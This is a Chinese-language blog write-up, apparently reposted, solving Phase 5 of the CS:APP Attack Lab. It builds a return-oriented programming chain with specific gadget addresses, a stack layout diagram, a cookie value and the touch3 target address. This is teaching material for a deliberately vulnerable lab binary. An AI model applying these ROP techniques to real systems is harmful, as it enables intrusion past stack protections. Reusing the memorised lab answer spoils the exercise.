首页 > 其他 > 详细

Attack Lab: Phase 5 题解

时间:2021-01-21 09:24:17      阅读:100      评论:0      收藏:0      [点我收藏+]

Phase 5 题解

前提

  1. 我们需要将 COOKIE 放在栈中
  2. COOKIE 的数据不能被覆盖
  3. 栈没有固定地址,因此无法提前得知 COOKIE 的地址
  4. 栈内存不可执行

大致思路

  1. 因为 COOKIE 存在栈中, 所以我们需要存储 rsp 的值到 reg 寄存器中
  2. 对 reg 寄存器做加减法, 使得 reg 指向 COOKIE
  3. 将 reg 赋值给 rdi 寄存器
  4. ret 到 touch3

详细思路

  1. 找出所有可能的指令片段
  2. 对可能的片段进行筛选
    • 需要保存 rsp 的值
      48 89 e0: mov rsp, rax
      
    • 需要对 rax 进行偏移操作. 问题: 并不存在直接更改 rax 的指令片段, 但是可以通过其他寄存器修改 rax 的值.
      1. 首先,使得 rdi = rax
      2. 然后,使用 lea 指令,使得 rax = rdi + rsi. (问题:如何控制 rsi 的值?)
      3. 最后,使得 rdi = rax
  3. 对筛选出来的片段进行组合
    mov %rsp, %rax
    mov %rax, %rdi
    leaq (rdi, rsi, 1), rax
    mov %rax, %rdi
    
  4. 解决关键问题: 如何控制 rsi 的值?
    • 在调用 getbuf 中的 Gets 读取一段字符串后, rsi 的值与最后一个字符有关.经过观察,我们得到,假如最后一个字符是 ‘0‘ 的话,那么 rsi = 0x30.
  5. 调用 getbuf 时栈内存的分布
      _____________________________________________
      111                                         | 
      ...              purpose: set rsi=0x30      |
      194            : padding "00000000"         |
      ____________________________________________|
      103                                         | 
      ...                                         |
      96             : COOKIE                     |
      ____________________________________________|
      95                                          | 
      ...                                         |
      88             : padding "00000000"         |
      ____________________________________________|
      87                                          | 
      ...                                         |
      80             : padding "00000000"         |
      ____________________________________________|
      79                                          |
      ...                                         |
      72             : RA  <touch3>               |
      ____________________________________________|
      71                          rdi=96          | 
      ...                         0x4019a2        |
      64             : RA  mov    %rax,%rdi       |
      ____________________________________________|
      63                                          | 
      ...                         0x4019d6        |
      56             : RA lea (%rdi,%rsi,1),%rax  |
      ____________________________________________|
      55                                          |
      ...                         0x4019a2        |
      48             : RA  mov    %rax,%rdi       |
      ____________________________________________|
      47                                          |
      ...                         0x401a06        |
      40             : RA  mov    %rsp,%rax       |
      ____________________________________________|
      39                                          |
      ...                                         |
      32                                          |
      ____________________________________________|
      31                                          |
                                                  |
                                                  |
                                                  |
                                                  |
                                                  |
                                                  |
      0            : buf[0]                       |
      ____________________________________________|
                                                  |
                                                  |
                                                  |
                                                  |
                  getbuf                          |
      ____________________________________________|
    
    
      cookie: 0x59b997fa
      touch3: 0x4018fa, LE: fa 18 40 00 00 00 00 00
    
      RA: return address
    

Attack Lab: Phase 5 题解

原文:https://www.cnblogs.com/revc/p/14305570.html

踩
(0)
赞
(0)
   
举报
评论 一句话评论(0)
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!